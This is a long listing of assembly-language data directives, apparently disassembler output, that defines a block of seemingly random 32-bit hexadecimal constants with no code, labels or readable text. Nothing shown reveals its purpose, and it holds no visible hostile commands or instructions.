		dd 11172AFBh, 250886BBh, 0E1091FB3h, 0EE81A056h, 68D0597Dh
		dd 90570B2Bh, 4C74EDE2h, 72E5575Ah, 2B282427h, 17E45E52h
		dd 683340DAh, 77764339h, 0E7062BB0h, 5CA341D6h,	6C69009Ah
		dd 0DD0513BFh, 25F4882Dh, 0A8734C00h, 478E0D46h, 3564002Ch
		dd 602F59E7h, 4A5AF5E9h, 0E6014874h, 7E7F7C3Bh,	1ECA92Eh
		dd 1F9FDECh, 0AD6CD7E9h, 7379C4Fh, 70E900E5h, 0F0D99D9Fh
		dd 16974AA8h, 4BE916E3h, 328BBAE5h, 462BF44Ah, 5A2C859Fh
		dd 10AD0BECh, 0DF05E931h, 0CA013BDFh, 1A4B59AAh, 7DBD982Eh
		dd 5C0A5225h, 90F10F5h,	5702C383h, 0ABED6751h, 0C9097030h
		dd 4C7D6969h, 0C14E59h,	2ECC002h, 0CE73CC80h, 7F60F425h
		dd 20662049h, 294C48D0h, 7F15822Fh, 808F4858h, 14DB5CA7h
		dd 90FDD625h, 9A2C0CDFh, 2C567FF2h, 654D4662h, 386D8754h
		dd 172CBE00h, 0F64E1685h, 0CC8F4B2Dh, 6228463h,	3C312613h
		dd 0BFEC7EDh, 0F020A866h, 0E40504B6h, 0BA60B8E6h, 0E912D8E3h
		dd 87C7E14Dh, 52C8B5D2h, 1C5ED3A3h, 2558E761h, 248C14F7h
		dd 523E8A27h, 4A13A9C0h, 0E9630605h, 0D7D417BCh, 0EFDEC2BAh
		dd 2D03F250h, 6F3171E5h, 63E1B040h, 54700C2h, 6AF63762h
		dd 8C6B8FE9h, 0FA96D777h, 2D12159Ah, 50BA64A0h,	5927083Ah
		dd 0E9417EF9h, 562A2660h, 0A87D80C7h, 681221B7h, 93CC2EFDh
		dd 7EA14192h, 0DD84F9C7h, 800C28ACh, 150653F5h,	590EECE0h
		dd 36E9E630h, 1C6F55F1h, 80E8D39Dh, 78090577h, 9136DD25h
		dd 923F7762h, 0FEE25303h, 6BDD1EA9h, 50D9D743h,	2CB301DDh
		dd 0CB80D3F6h, 0B83B206Bh, 0D843043Dh, 0E9D8061Dh, 772B2DAFh
		dd 8397271Dh, 90E6B07Fh, 1DAB95C7h, 5F84A37Fh, 19B9BC01h
		dd 0C8884112h, 2EF3C193h, 37E70C21h, 1F517417h,	52DBB0FEh
		dd 2D071EBAh, 5CF02243h, 0AC5D73C9h, 0B78DC6C8h, 0CE17B8E9h
		dd 31181345h, 0D787AC6Ch, 5397BF26h, 0C669C357h, 0F1FB4FD4h
		dd 23E87F6Fh, 0D9E95DF0h, 0F6121163h, 0D08CBAD4h, 5AD016Ch
		dd 77B840D3h, 9952DC2Dh, 4DB8285Ah, 0F92C0741h,	0C6542C00h
		dd 64BF583Dh, 0AB4F9004h, 0E9D8C729h, 4445B057h, 75F0C303h
		dd 0AF2A1B3Dh, 66B782F2h, 4D60F505h, 92B7B1AAh,	88C8408Fh
		dd 6445286Fh, 55D140D5h, 4EF16817h, 2FE9C36Ch, 85FB89ECh
		dd 9B8E762h, 0F3010B7Dh, 9230088Fh, 7E85681Eh, 6E807126h
		dd 0B2B80EBh, 0DF89FC75h, 0BBFE809Eh, 0F0685181h, 1B8150B2h
		dd 47818E9h, 8AA25DC3h,	7042761Ah, 3C013A2Dh, 39052F42h
		dd 54D27D5Eh, 0C37909BDh, 524E5C6Eh, 4DFD7629h,	2EC0262Fh
		dd 0C1FA06B6h, 0A2D5547h, 2D97B5D0h, 20D22507h,	959E617Fh
		dd 0C0F28100h, 0F77046AFh, 5816A0B0h, 0DF4E3166h, 0E9BA28FAh
		dd 5A071E49h, 8C50BA9Eh, 0FA7FCBB7h, 0F121406h,	128CE6Fh
		dd 595C1B20h, 40F01B4Ch, 2939662Ah, 1E0BC8FBh, 912D6AD0h
		dd 1FC0289h, 7D56FEF3h,	7BBD0455h, 0B04EE978h, 9106BB23h
		dd 293D255Dh, 5B0C3CFAh, 0CE785A4Bh, 50EDF9F7h,	664A8E9h
		dd 0C9F05A0Ah, 0D38A5A8Ch, 0DD844CFh, 0C009BD7Eh, 2981F2A5h
		dd 0C89A8252h, 94FE0977h, 5E3C105h, 2EB48781h, 0FF6F0B05h
		dd 43051F56h, 82010888h, 0A8D76F3Ah, 379FF8DBh,	6A1760B7h
		dd 766055E7h, 0E1242FBDh, 0AFD6A45h, 90108244h,	171C6808h
		dd 23051834h, 0D2FF015Eh, 4350FEh, 0BA02B8FAh, 607F8938h
		dd 9CD529B4h, 5E0A91D8h
		dd 90D54AA9h, 0E9D3685Bh, 65953B55h, 0CA8BE050h, 3E601BB4h
		dd 95032169h, 727A34Ch,	0FFE11A54h, 4A46CE00h, 0B8050936h
		dd 5927EE9Eh, 0A9AB2884h, 0B2E24E01h, 681D98B4h, 0A945A432h
		dd 1B48D54Dh, 409E5F1Bh, 0EC1CCD62h, 5A4527F3h,	74984716h
		dd 0DDB98D25h, 6DC6F410h, 0F82F0827h, 9CA29D5Ah, 82B27170h
		dd 0E3742109h, 0BEA6CC2Fh, 59A1024Dh, 4C573F13h, 48EE0151h
		dd 5122FD7Eh, 2112857h,	0CCE93BAFh, 12390A67h, 58070103h
		dd 2AC7D3EEh, 427943BAh, 91DF4735h, 3D0C8BCBh, 2B35975Bh
		dd 0F353E112h, 64E83DEEh, 0F19F55B4h, 8B567267h, 0A71909h
		dd 5968CF45h, 987BB547h, 0CE288839h, 0BFFF177Fh, 3D299B99h
		dd 0BF98026Ch, 5E6E1E0Fh, 0CDB34610h, 0B7E304ADh, 0B2785F31h
		dd 585E0FF2h, 0F0560B48h, 0AD4D48A3h, 0C32B7D00h, 93F18101h
		dd 79A8541Dh, 6DF5C983h, 0E9B20070h, 69FD30C2h,	10C1D9F7h
		dd 49261BFFh, 0BF25A231h, 0D33C0E21h, 46B304A5h, 63F2BEE8h
		dd 0FFCA2B17h, 3CD5E68Dh, 147712C2h, 5F12213Ch,	0E7D30CADh
		dd 981C0FEFh, 0D16B85DCh, 17B91DC0h, 5FB11D0Bh,	45135E89h
		dd 3F05F134h, 0A8A46EADh, 0C8E610h, 1D4006BDh, 0E5ED8174h
		dd 35F86D18h, 6589700Ch, 0A0EB4C7Dh, 0E355AE89h, 0F442BF78h
		dd 5F2F3297h, 3A752A29h, 508F42FBh, 0BC9EBEB5h,	7989C4A5h
		dd 0FF01CBC5h, 78A3E930h, 266CFD2Fh, 0B6006E66h, 69685389h
		dd 9B4BB59h, 544C977h, 9945DCB7h, 2A294581h, 18C7250h
		dd 1F0D4C65h, 13B5FE9h,	28A2B655h, 629361F0h, 0F4C52FF8h
		dd 8560A5A7h, 1063C1Eh,	16A0E934h, 0A2B20524h, 0BB47F280h
		dd 3E2CF181h, 2A68D8C0h, 0C505F20h, 0DDF6B6B5h,	0C000C5C0h
		dd 0C68003EEh, 5FA2E9B3h, 7CA48A56h, 0A6FA9AA0h, 0D45D10C9h
		dd 2F755215h, 0EC710A01h, 8E7626CFh, 525302D4h,	9B549ABAh
		dd 0B6AF0DDh, 3EC77BD1h, 76880D80h, 0EB12B47h, 48AABD09h
		dd 99C18D7Bh, 0AC8A3F0Eh, 16970FF0h, 5D10D254h,	73D71AEAh
		dd 398469A5h, 0C55E0E97h, 8FAEB322h, 0B08E5C80h, 0A4FCE95Fh
		dd 7558BD82h, 0B73E20FAh, 0C52E9647h, 0F86B1292h, 0AE749704h
		dd 97777E58h, 40FF3275h, 627120B5h, 111F07Ch, 35F6CA48h
		dd 6062A896h, 4FF6C77h,	0AB499EC2h, 78C7F034h, 1FF91416h
		dd 0A005A00Eh, 3503F22Ch, 0A72E0ED5h, 25089C3h,	0E3CA74EBh
		dd 0B2E85D16h, 8BC00B36h, 0B92466CDh, 6B79B703h, 0BD6BF501h
		dd 57E5E1Eh, 525356BAh,	0AF43BB92h, 384F5E9h, 5A31C743h
		dd 0D7F21040h, 82B7F62h, 0CB3C7951h, 40B98984h,	94D7E9F0h
		dd 0D2030091h, 0D9019E69h, 5B004C19h, 0D1BFE268h, 0A758AF8Ch
		dd 0DB2511Ch, 0C0044D24h, 8F8302E2h, 0DF919FC5h, 0A9ADAF6h
		dd 585D06C4h, 29B198ACh, 0A5DF24C9h, 0A632A9DAh, 75EAA313h
		dd 89808029h, 75D469AEh, 0D80AF7F8h, 81463860h,	7743EC03h
		dd 0DB180423h, 15D584Fh, 301633D6h, 0C53CF400h,	47850A4Bh
		dd 42B299D5h, 0DFC9EFA5h, 2201956Eh, 9B925D1Eh,	5EE9F075h
		dd 6BEED96Ah, 0C15E4CADh, 5B3488h, 24352FBAh, 2CD17DDh
		dd 24785D62h, 494E6100h, 20FAC110h, 6F5FA065h, 0B06BF5B1h
		dd 135EF06Dh, 688289E2h, 4CD70197h, 35CD0063h, 12B81883h
		dd 255EF0FCh, 6F8ADDE0h, 8D8092DAh, 2D477816h, 0AB0B8969h
		dd 5A8D6CFCh, 0F41EBDAh, 4D803E3Bh, 0BE5E247Bh,	705331A0h
		dd 0BE5AE0A0h, 0ECF7C5CFh, 4402B1EAh, 1720AACh,	0F70B1576h
		dd 997470DFh, 0D78856C0h, 7C0595Ah, 0CF8006E7h,	69EF6772h
		dd 0F12085D0h, 8A69DA7h, 1585DF2h, 1C5126CFh, 0EBEB888Eh
		dd 6EC52A72h, 0EDC6780Ah, 4C9B36C3h, 1E010EB7h,	2918781Bh
		dd 23A144FBh, 22045F08h, 9332AFFh, 0BB1412EBh, 7C068CF3h
		dd 28480C63h, 842E6D03h, 0C7EB016Bh, 5D05082Ah,	0E6D2ABE9h
		dd 5A1FD405h, 222D8EF6h, 0E2D0212Bh, 9F80F837h,	30DD8409h
		dd 295BEFBh, 686B0B46h,	0BB560143h, 9C790049h, 97EE8C1Ah
		dd 0D6F999E3h, 3EF1FD5Ah, 5C05FE8h, 4A4233DDh, 0B95E972h
		dd 5BF916D7h, 254B801h,	486636B3h, 0FC935F5Fh, 0C5D588A2h
		dd 25D6A0DCh, 71D9158Ah, 12732E8Eh, 48F8A6BFh, 298A04A8h
		dd 94BF2757h, 579616EDh, 9367F914h, 0BD31D2BCh,	293F55Eh
		dd 1E61DD5Ch, 8AD3B47h,	0CFF570Bh, 9F0A2622h, 0FAEC2904h
		dd 6A53EA01h, 0D9016C1Ah, 2F716151h, 0F2B18F07h, 48CF4272h
		dd 0BEEC37Bh, 5E557275h, 0F268B510h, 33317BE5h,	8004987Eh
		dd 0B414DD3Bh, 8033687Bh, 0B85246E2h, 5A3432F8h, 95CFC1Fh
		dd 0FD6F408Bh, 25E9D007h, 786CEB3Bh, 52CC2F68h,	0BA40B29Ah
		dd 0C527E94Bh, 53FCD4BEh, 54469FD8h, 67C720F3h,	72140F13h
		dd 23945E01h, 0F544D6F5h, 0FD4B19ACh, 25AE9455h, 3D18E68Eh
		dd 0F9965453h, 0B30BAACh, 0A19C5CE7h, 0EB72D6A8h, 0BBF96913h
		dd 0CA31E4C8h, 80E3B319h, 5133F181h, 609D2E7Bh,	0B587A777h
		dd 1F4F67E6h, 3EBE5400h, 97095404h, 0AC804165h,	2156E842h
		dd 0D15D39EEh, 284C1BAh, 0ACC375E9h, 27C4C789h,	5365D709h
		dd 7D5C0D32h, 0E98B1FF9h, 0D68850B7h, 0CE9BEBFDh, 174C3062h
		dd 0BBAC4305h, 0C652DE07h, 0A4CFD32Fh, 5F598A25h, 3FEABA03h
		dd 0EFB31BD3h, 619064A8h, 9BE0FCF9h, 19F6F09h, 727B5DF9h
		dd 65D6E961h, 44CB32Eh,	6163149Eh, 7C539EC2h, 67062EEh
		dd 2417276h, 0E2DB6C2Ah, 0BD8BF040h, 0F55CE5FAh, 0EE3219EAh
		dd 9B3153AEh, 0ADE8DAC9h, 2D14C180h, 0F8707668h, 2C98F829h
		dd 0B550882h, 4094D178h, 8DE95655h, 4FF59749h, 0B76604EEh
		dd 9EFDAB72h, 8663C5h, 1A4DB755h, 6E1D050Ch, 54AD78DAh
		dd 7B468859h, 7C9B6804h, 7210E9E3h, 35660725h, 2D412733h
		dd 29E1AD47h, 0DF33FC2Fh, 180F8E64h, 0EF31C73Fh, 0D69F9C8Dh
		dd 7368805Fh, 0DDF3E964h, 91AE597h, 96D57259h, 0F33360C6h
		dd 0CA03B6BDh, 0EB891012h, 0FCDEEEB2h, 6F836E0Bh, 0E6089FF4h
		dd 985D1228h, 955E649Ch, 944E4BF4h, 9401F6Fh, 0C21AEE09h
		dd 623185DAh, 54014738h, 0B06DFC6Ah, 0C071FAE9h, 9E4CFD5h
		dd 0CC06867h, 2DC17F93h, 0FCEF5AD1h, 2B2F025Fh,	0E1D729E3h
		dd 87018D69h, 3115DCF7h, 0E8EFCBC0h, 0C128B444h, 630F880Ch
		dd 4A82C65Ah, 0D19A7BC1h, 40CE9AFDh, 6F77417Eh,	2A0C286Fh
		dd 0E802F653h, 295E171Fh, 0A71AE5F2h, 3F2D0DC8h, 68226105h
		dd 0D8AE07C8h, 4D3BAE18h, 9DD150BAh, 44B32602h,	544520E9h
		dd 1BF76003h, 0D59838D4h, 2BE40B1Dh, 0BBA8E906h, 0C68380A3h
		dd 2F912E46h, 0A9D82F30h, 89A21632h, 8F967DF8h,	8A2A6E9Ah
		dd 0F707B3FCh, 26524308h, 853A55B3h, 69EEA7BBh,	83015E4h
		dd 31093697h, 1A41F6C2h, 2F72B01h, 0C1D9ABBh, 1F0067F4h
		dd 590D76EEh, 793C5D4Ah, 0B471325h, 8E09FA3Eh, 2FCE2FCh
		dd 0C24C5097h, 0AC275710h, 4DF65912h, 0BC3F246Fh, 0A85F80B2h
		dd 0A2FFF477h, 70C710CAh, 0ABEB6812h, 0B885C8E3h, 0CE420081h
		dd 21758F2Fh, 125BDD30h, 206454CBh, 81002926h, 4CD2DEF5h
		dd 9595E9C4h, 0AFBAAB85h, 9C96845Eh, 0E85ED5AFh, 0BDF1509Ch
		dd 229B1A1Dh, 3E73E580h, 0F9830AE0h, 0D5066328h, 0C438B52h
		dd 771CBD0Ch, 3CED3832h, 792E7E17h, 0D5E906DCh,	594FB483h
		dd 0BE9770F2h, 3D6A2329h, 0A8796039h, 4F375182h, 0C082C8C6h
		dd 3020B298h, 0EA44D69Fh, 6FD7A05Eh, 75EB7E84h,	1E528255h
		dd 0EA0730D5h, 5C9DCCh
		dd 8AC087C9h, 0E4455509h, 0C61D71A6h, 2508F193h, 25F2884h
		dd 193373D5h, 98E8FA31h, 393F3FA1h, 6BE28260h, 0E0612E0Ah
		dd 626A842Fh, 1D79C07Ch, 68DE98FFh, 0E93764F5h,	0DBE886h
		dd 75BF57ADh, 0F87CDC36h, 0AC2A4B2Ch, 79B4CF54h, 8B295BC2h
		dd 0B776FB8Bh, 5217F927h, 317264D5h, 0BB4C927Ch, 79E2C05Dh
		dd 30BCB0C1h, 3A307FBDh, 3A0AF4CEh, 0B7A6E972h,	0F25D96EFh
		dd 78A5C903h, 0D5C18106h, 4B6C54E1h, 0BFAF175Ah, 6E3EF968h
		dd 0F7C9396Fh, 0EE88E623h, 2B873491h, 3C8D405Fh, 0C5471C6Dh
		dd 0E764F58Bh, 28BE660Fh, 16048474h, 129639A8h,	0FFF3ABCCh
		dd 1C946D1h, 84721B56h,	0B8007A24h, 6DC24538h, 8500E5B7h
		dd 83F43A08h, 7890EF1Bh, 0E91267A2h, 0F5AFFD87h, 18F36B36h
		dd 821BE134h, 38A63606h, 20559B9h, 0BFE3E953h, 0B6509056h
		dd 0DE6E25ADh, 6051C71Bh, 29DF605Ah, 633DE925h,	68C2DCACh
		dd 4A560B96h, 0E1441182h, 0CF2277D0h, 0BAD5623Ah, 700285EAh
		dd 4049A3C2h, 0F779D1Fh, 0EBE93F19h, 0CECACCF6h, 16E0BE88h
		dd 0E05ACB21h, 0F1163FC1h, 55090DC8h, 82FFFE5Eh, 6894131Eh
		dd 0E22DB345h, 0B3B1C1C6h, 0CB5E417Fh, 877C877Fh, 46495638h
		dd 0F0EAD133h, 0E61B1EF2h, 17E925B4h, 8B27F87Ah, 712E764Ah
		dd 0BCF388Ch, 2F9B652h,	696D855h, 0AE5A4258h, 0F9BABB24h
		dd 2D5E3F95h, 5C770052h, 95307231h, 0CD6E63D9h,	1061A42h
		dd 0F46AF40Eh, 0D4031248h, 96E0AE29h, 3F6D41CAh, 0F71342B6h
		dd 5C6DFF84h, 6CF0899h,	7E0DADF9h, 0F5EA4D64h, 15B92A56h
		dd 0C8A0A34Fh, 2C28A802h, 49089A59h, 2880837Fh,	1FDE9D5h
		dd 27CBE7FEh, 0DA7397FEh, 0B46758B2h, 36D98CB7h, 0B15A51CDh
		dd 0B95E99ECh, 2DAA9BB3h, 95A20BF4h, 0BED6170Eh, 0F6A18C2h
		dd 0BAB06BC4h, 0E3607E8Ah, 7080E955h, 49CA56B5h, 0E19F8266h
		dd 0B878FDDFh, 9E0F8D6h, 77127068h, 5D2F5B3h, 891CF17Fh
		dd 6C7FFDBBh, 0A3C5B70Dh, 6044FE9Ah, 0B96CDAEDh, 6279AD06h
		dd 82212F58h, 790A4A82h, 3659EB6Ah, 0E966F4ADh,	7F25EADCh
		dd 5C13C567h, 9713CCAAh, 0EC49254Fh, 66B0DD28h,	133E316Eh
		dd 0A6E6922Eh, 6C37A4FAh, 0C841CC41h, 779744D2h, 0C02413FEh
		dd 53122CCDh, 3D43B738h, 0A0407F8h, 80CED028h, 0E9ACB252h
		dd 85C3FF7Bh, 0AFF55EA9h, 5EB73062h, 9C712DC1h,	4ED7F6EBh
		dd 0B45D0E09h, 6368109Bh, 99E90C0Fh, 448C156Ah,	6FF7762Eh
		dd 17845BFCh, 7B5108Dh,	30B5A1Bh, 39F101B4h, 1D60E82Fh
		dd 0F46DC280h, 0C5880B03h, 0BB97D484h, 69307529h, 0F1F3C33Dh
		dd 24640D7Dh, 590EA566h, 0E329C309h, 2189EF8Bh,	16249C7Dh
		dd 0A83C91E9h, 4A68E054h, 0C5E9B6Bh, 2D4C7E96h,	0D8633309h
		dd 8088D077h, 4B456807h, 0ADF88C53h, 2AE14C0Fh,	0FD3F89E9h
		dd 0E5C9D61Bh, 5C4E89F2h, 147D609h, 6824BC6h, 78FCAF96h
		dd 0BF4C8EA9h, 5DA748D6h, 0E926F93Eh, 598B1A35h, 5CEC0957h
		dd 0D8712D98h, 0C522C490h, 68C83105h, 1E8D088Dh, 0F2D72757h
		dd 0BD08D6F6h, 2D31F1F0h, 58C14F71h, 8CD46432h,	0E7DAEC1Ah
		dd 6AB1C55Dh, 132F108Ah, 2C1C6B3h, 0EF81B42Eh, 0C7598DC3h
		dd 9AB13FE1h, 0D31D892Fh, 9BD280C5h, 0A7B8151Ch, 51AC5925h
		dd 483C30E3h, 35587757h, 2E0270BFh, 0E6C17E76h,	98DE7802h
		dd 720505C5h, 1467BF6h,	8A4B6CC7h, 9DD13B74h, 0BEF853C3h
		dd 0B2FCB563h, 1CC10820h, 370A0768h, 983618A0h,	0E9C0889Ch
		dd 3BB79AD0h, 3F93F729h, 2BCBAAE6h, 265DAF5Eh, 9FBF452h
		dd 7214B8Fh, 9601C180h,	0A321A610h, 590306F9h, 0FB9E84ECh
		dd 0D0D37FE2h, 2959D15Dh, 0CD1DA2B8h, 395701E5h, 2DE960B0h
		dd 58517A10h, 5F93B4C8h, 0A32E1D2Dh, 5C68C13Dh,	0FA2142A6h
		dd 3B51D869h, 0B4F56693h, 405498E2h, 3700B87Dh,	0D7B126Eh
		dd 3A5475EDh, 0C7FCE932h, 30DFCEFDh, 0F03060F6h, 685A7BC1h
		dd 467491Bh, 2F43A58Dh,	7F89E080h, 0B0415AF9h, 559AADE0h
		dd 5359CB00h, 0BA4DC3BBh, 0A35AB76Bh, 5051074h,	5BDE29ABh
		dd 2D07C0ADh, 993F4069h, 20BC805Ch, 229C98B9h, 6AA9DB42h
		dd 0AEB23AD8h, 7202950Bh, 41F1E380h, 0F0C7774h,	3E7606E9h
		dd 79E409BBh, 2300269Fh, 128E2EE2h, 18042F90h, 893373F1h
		dd 0CE05B7E8h, 47D4AAE9h, 324EC28Dh, 0A0680AEAh, 203A6866h
		dd 0BF42504Ah, 84190148h, 810093DAh, 0C834CEEAh, 28AE284Fh
		dd 0A341729Bh, 1F876260h, 9F280378h, 0A10756EAh, 11DA7F7Bh
		dd 9A17BF43h, 70472140h, 3DFC1936h, 4F4D9C8Eh, 0A58DBE04h
		dd 7005A5A8h, 747E13DEh, 0ED3B0496h, 0F831049Ch, 5E715EB4h
		dd 0BBC0B4DEh, 9D65A26Ah, 0D534E309h, 59DF7F92h, 0EA976F64h
		dd 2112392Fh, 387EA79Eh, 695FD050h, 9C444A5Ah, 0ECAFD6EDh
		dd 324E86F6h, 41E0971Dh, 9630217Ah, 19C40C3Eh, 0EC545BD0h
		dd 8C52851h, 14BA5228h,	0B707D09Dh, 0C7815DC5h,	2B214FE0h
		dd 217942Eh, 0FAE95D08h, 554A5158h, 939E70B2h, 0C006FDBDh
		dd 4DFB4086h, 0C6549D01h, 5D120C68h, 0AC5A33ACh, 0C8B6E13Ah
		dd 802D886Ah, 0D368D841h, 0A680503h, 0C5C7719Fh, 3E07142Dh
		dd 412187B4h, 65DB1Ah, 7FEA7AFFh, 5CEB599Fh, 0FB099394h
		dd 9250B117h, 80895A2h,	799E08C2h, 8A823C26h, 403BFA29h
		dd 487006BEh, 0B5781861h, 14352A00h, 655A25C3h,	40BA3EA0h
		dd 68B75A26h, 0B474EF11h, 17D74950h, 0E95B83E7h, 6400EAA4h
		dd 0B35316B5h, 73C38091h, 0A7F33B73h, 28A4EB00h, 0F08DE9DDh
		dd 0BB40BA94h, 4C4611E1h, 2506463Ah, 0C424D1Bh,	6D2EFD0Fh
		dd 47E38069h, 767D2A49h, 0B3044FC1h, 40D6BEAh, 0B7A28436h
		dd 48A4FD4Bh, 352F0948h, 0C14900CCh, 80444E54h,	62000EE9h
		dd 0C8896929h, 3822D59h, 53F4A0Ch, 35F7EB11h, 5E930401h
		dd 0D425BA1Dh, 7CDA8409h, 565B0214h, 225879E9h,	0C1F85C4Fh
		dd 2EEB6809h, 0C263925Eh, 9AFF856Eh, 0FE1F1483h, 66ED87E2h
		dd 0E1AA0583h, 402BB790h, 33BA1A63h, 0C2B87B35h, 742D660Fh
		dd 0E9C56192h, 0F16D4756h, 39FDFC07h, 0B0D6B43Ah, 0A45A6848h
		dd 41CD9BD8h, 3707898h,	0B27E3CEEh, 0CA32EA11h,	2B1C7FB5h
		dd 0B753B801h, 5BFA206Ch, 458BA879h, 8BBD3960h,	70237918h
		dd 2527D9CCh, 58546120h, 0D2EF2C13h, 0B66290F9h, 61FFACC2h
		dd 0C4380939h, 0F3CC5C2Fh, 90883071h, 7B098155h, 0EAF6D897h
		dd 7C5FFFBh, 0FC651E79h, 0C509FCB4h, 2488863Eh,	0D0283D6Eh
		dd 0FEAD5F13h, 0BA687570h, 6E709408h, 27D76A87h, 0BA8E75E9h
		dd 0E45A6EF3h, 3862DE47h, 7765F987h, 0F0B02ACEh, 9D4D9Ah
		dd 1AD04718h, 0CEF20081h, 970C907h, 0DFA05AD6h,	73130ACDh
		dd 8AB2152h, 5F259EBAh,	63E90433h, 0E5B87BE7h, 0A0D4E5B7h
		dd 2DB25BB3h, 12EDC904h, 0D5EE184Ah, 2E5E0577h,	0EC36814Dh
		dd 0A8FD3BC5h, 628FA4Ah, 75B232E9h, 7857C66Fh, 0BB0CD202h
		dd 7FC00E97h, 0C17B4D48h, 9F027C0Ch, 2CEE2B69h,	537ABE19h
		dd 6AB2A4Ch, 41260929h,	495E31F0h, 62012314h, 69CD0FB2h
		dd 0CCE98219h, 0D1BF0114h, 2E2CD92Bh, 0D332A3B2h, 20DDEE10h
		dd 1F707E95h, 51CA9856h, 0EAD50705h, 961495F8h,	0E05DC40Ch
		dd 0D3995105h, 0F4685260h, 42C4054Bh, 28592E9h,	0D943B263h
		dd 12E0B8E3h, 0E75F839Bh, 0F8F421BAh, 0B1580398h, 12C29310h
		dd 0C14E12FDh, 0FECEDD73h, 86608B85h, 20EC645Dh, 8F829BA9h
		dd 6870185Dh, 0E9764080h
		dd 9764222Ah, 154AD5F6h, 0BD2D7B3h, 0C6FDD7D2h,	0A2C69F36h
		dd 295F2DFEh, 0A2E19289h, 4DCC1F6Ah, 200A648Eh,	9B92D377h
		dd 0BCF6813h, 1A3E08CCh, 6806C861h, 290AEA74h, 920296DFh
		dd 434DB445h, 9016FF48h, 2B25041Eh, 0B524CF4Bh,	7AF0F873h
		dd 835475C8h, 508E8C1h,	2E8B1CF8h, 19CA214Ch, 0BE93F640h
		dd 47E8B57Fh, 0AA27D261h, 587A054h, 218615Bh, 5730197Dh
		dd 0C7DCC17Dh, 13420846h, 0BCF26343h, 577B270Fh, 5FB84813h
		dd 44956695h, 0AFEF5AABh, 0B0C2CF64h, 2B3A97Ch,	0C681E273h
		dd 0F1C1BF18h, 0DE84404Ah, 42EFDDEDh, 0ADE83EEDh, 215A1B68h
		dd 6FB61C20h, 306A17B4h, 0B2300BF4h, 97B96CE0h,	19370F12h
		dd 27E1EB41h, 0C33EC32Bh, 0F5F19DFEh, 0BBBC7B7Ch, 0CACBE9B0h
		dd 0C327F1B7h, 0DD91FB87h, 0FF4F3045h, 82FC03D3h, 0B80DBB17h
		dd 1D4ADE6Ah, 0C981AF11h, 527B795Dh, 0A5C1909Fh, 9BDAE240h
		dd 2AF00683h, 0B36B296Dh, 0FBE0C105h, 1DE4EC8Eh, 299640B1h
		dd 7420AFEDh, 7BCD46FFh, 9E498DA4h, 51490CBDh, 49EA3C55h
		dd 7662B0F3h, 0EC5BB034h, 918C92BDh, 0D6139A92h, 0D3BF025Eh
		dd 60D52234h, 2710C1EDh, 0A2DE955Dh, 4877425h, 0EF92210Bh
		dd 0C8BD8913h, 822BE912h, 42E14376h, 0FDCBFC02h, 1CF47114h
		dd 5EE82FFAh, 295FEBD0h, 12D95131h, 0BE1D80F1h,	0D00B07B9h
		dd 0DEF769h, 0AD8BACC1h, 80849A83h, 307D2CEFh, 0E30C09B2h
		dd 0F3F38960h, 4C62C7F8h, 0C1070391h, 256533DDh, 0E98449B8h
		dd 681CD061h, 18B74836h, 2E78BF9Bh, 5AA15FF4h, 0D6009F5Ah
		dd 0B94FC474h, 510FDC32h, 0B06BCF65h, 2F7B9246h, 3DA40B5Eh
		dd 275975Eh, 89B8500Ch,	5CB7860Fh, 0D85E5A76h, 32DFA56h
		dd 22FD7102h, 9D6990FFh, 47B810F0h, 0BC27547Eh,	94227DFAh
		dd 63916F16h, 6B0F3CAh,	5616F387h, 9EA25E52h, 592C074Eh
		dd 99F25F5Bh, 15C92957h, 4909AC5h, 1381C3Ah, 95C732ACh
		dd 0B4052045h, 5A2707FEh, 61FE8E89h, 513E199Ch,	7FAF0C80h
		dd 2E92D31h, 84364C5Dh,	8904A275h, 0BD4E81E1h, 53F5108Ch
		dd 79562F28h, 0ED013652h, 9D203C25h, 2530EA31h,	3A0D8087h
		dd 5134A4Ch, 0B40BAA2Dh, 2B77E5FFh, 0C4688BD0h,	2736927Dh
		dd 31DA7113h, 14BC8290h, 0B576DA27h, 0E45DAD27h, 5812AE16h
		dd 322CB0E3h, 4466973Ch, 0B9E4A79Fh, 22B6041Fh,	0CBE14902h
		dd 0AA7269F8h, 0C1B662CDh, 2DBFBB37h, 0EB823C1Ah, 6902A850h
		dd 291C6247h, 0B29ADD74h, 8D660C0Bh, 4ED6E94Ch,	78682A20h
		dd 20672C46h, 0A1F91840h, 0EA1EB652h, 4DCAD6F6h, 263D3DC2h
		dd 0EE83DC7Ch, 0FE472888h, 2D7390Ch, 8D7C7A2Fh,	0CD008A0h
		dd 685A2514h, 2F68556Ah, 686C03A3h, 646E1C31h, 0A76E4B75h
		dd 0C86470D6h, 31AAA27Eh, 24C0AAAAh, 0DB2A930h,	58D37C9Fh
		dd 0C04B685Ch, 0FAD71BB8h, 0A846960h, 205F9855h, 0D006AEDh
		dd 50F64CC5h, 1EB13F05h, 0AC012C09h, 454E1601h,	983E1ECCh
		dd 803B4D28h, 0F03080F6h, 2C110C5Ah, 0C5882E6Eh, 175A394Eh
		dd 8B45A32Dh, 0BF0478A5h, 866271DEh, 0F2000960h, 4A084233h
		dd 3E1C113h, 7EDD3FBh, 83B406AEh, 7A4689E9h, 0F0C601FDh
		dd 89422BD9h, 0EA7C30F7h, 4E3A500Ch, 10140C3Fh,	459BE31h
		dd 1C83279Fh, 40EAE8AFh, 7A31E908h, 4E89FB90h, 0F816CD3Ah
		dd 54B460AEh, 37D7062h,	0AEFCD621h, 49FC0999h, 35F3975Ch
		dd 684C60AFh, 0C13962A0h, 0E1FC5045h, 0E120D4Ah, 4ADB985h
		dd 4CC15F5Eh, 0C01AE11Fh, 8005E207h, 0D700B7EAh, 7CFA885Ah
		dd 0F807F25Bh, 0F0974AC2h, 0E4BF6FE9h, 3F2E038Ah, 0DA290976h
		dd 2C08F441h, 9DDB163Ch, 53523045h, 71C05D80h, 6D6D580Eh
		dd 0F18E4201h, 649CE992h, 8B0E05A6h, 0A270B966h, 0E0831C5Dh
		dd 0AA98B730h, 7708A291h, 0FC8803ABh, 2AFCF7FAh, 37AAEF97h
		dd 0E872D20Dh, 6820F3FAh, 8122DC4Bh, 31476234h,	0A4D7C9FAh
		dd 87144B08h, 95EA01DCh, 0E9130A2Dh, 948DE145h,	0B4EF4F2Fh
		dd 68FF90F2h, 0B027619h, 56F483BAh, 0B688E10Dh,	502AAA3Ah
		dd 3980E909h, 0AFE1B057h, 0F23DC0F3h, 1CD270C9h, 1099894Ch
		dd 694882E5h, 38A9BD19h, 0B02E7066h, 0C1302727h, 5965818Fh
		dd 0E9F0786Bh, 94D204Dh, 5712D768h, 0E9272A96h,	0A89B7640h
